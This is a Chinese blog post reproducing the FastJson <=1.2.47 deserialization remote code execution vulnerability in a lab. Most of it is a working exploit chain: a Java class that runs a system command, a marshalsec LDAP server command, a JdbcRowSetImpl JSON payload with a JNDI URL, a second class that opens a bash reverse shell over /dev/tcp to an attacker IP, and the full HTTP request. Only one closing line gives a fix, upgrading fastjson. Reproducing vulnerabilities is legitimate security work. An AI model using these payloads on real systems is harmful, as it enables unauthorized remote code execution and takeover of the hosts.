• FastJson<=1.2.47漏洞复现


    关于FastJson<=1.2.47漏洞复现

    参考博文:

    https://www.cnblogs.com/sijidou/p/13121332.html

    https://blog.csdn.net/qq_40989258/article/details/103049474

    0x01 概述

    1. Nmap扫描Web IP地址,可以得出8090端口是业务端口

    2. 通过DNSLOG服务可以探测业务是否存在fastjson业务:http://www.adminxe.com/1037.html

    此处我只直接可以看到pom.xml的引用,DNSLOG方法mark下后续研究

    0x02 环境搭建

    1. 本地先构造POC,新建TouchFile.Java,并进行编译
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

    本地用Python启动一个HTTP服务,并把TouchFile放在启动目录

    python2 -m SimpleHTTPServer 1111

    python3 无SimpleHTTPServe模块

    也可启动tomcat容器,将TouchFile放至业务启动目录即可

    2. 启动LDAP服务。

    是借助 https://github.com/mbechler/marshalsec 服务开启ladp服务,监听9999端口,并指定加载远程类TouchFile.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:1111/#TouchFile" 9999

    0x03 漏洞利用

    编写Playload

    {
       "name":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "x":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
         "dataSourceName":"ldap://IP:9999/TouchFile",
            "autoCommit":true
    
        }
    }

    报文如下:

    执行后可以看到LDAP和Python有报文返回。

     

     登录到容器内部,可以看到 文件已经创建成功,实现RCE目的,执行任意命令

    同理可以通过反弹shell直接拿到主机 (通过linux通信)

    构造playload

    import java.lang.Runtime;
    
    import java.lang.Process;
    
    public class Shell{
    
    static {
    
    try {
    
    Runtime rt = Runtime.getRuntime();
    
    String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP/7777 0>&1"};
    
    Process pc = rt.exec(commands);
    
    pc.waitFor();
    
    } catch (Exception e) {
    
    // do nothing
    
    }}}

    报文如下:

    POST  / HTTP/1.1
    Host: 目标IP:8090
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 290
    
    {
    
        "name":{
    
            "@type":"java.lang.Class",
    
            "val":"com.sun.rowset.JdbcRowSetImpl"
    
        },
    
        "x":{
    
            "@type":"com.sun.rowset.JdbcRowSetImpl",
    
            "dataSourceName":"rmi://靶机IP:9999/Shell",
    
            "autoCommit":true
    
        }
    
     
    
    }

    Shell回显直接拿到目标主机容器root权限

    修复意见:升级fastjson为1.2.70版本

  • 相关阅读:
    Go标准库Context
    事务并发处理: DB+ORM+逻辑代码
    日志:slf4j+log4j+maven配置
    Shiro workshop
    JSP Workshop
    sql records
    Java内存模型(JMM)
    Application, JDBC, 数据库连接池, Session, 数据库的关系
    Java位操作全面总结
    Effective Java总结
  • 原文地址:https://www.cnblogs.com/yblecs/p/13411623.html
Copyright © 2020-2023  润新知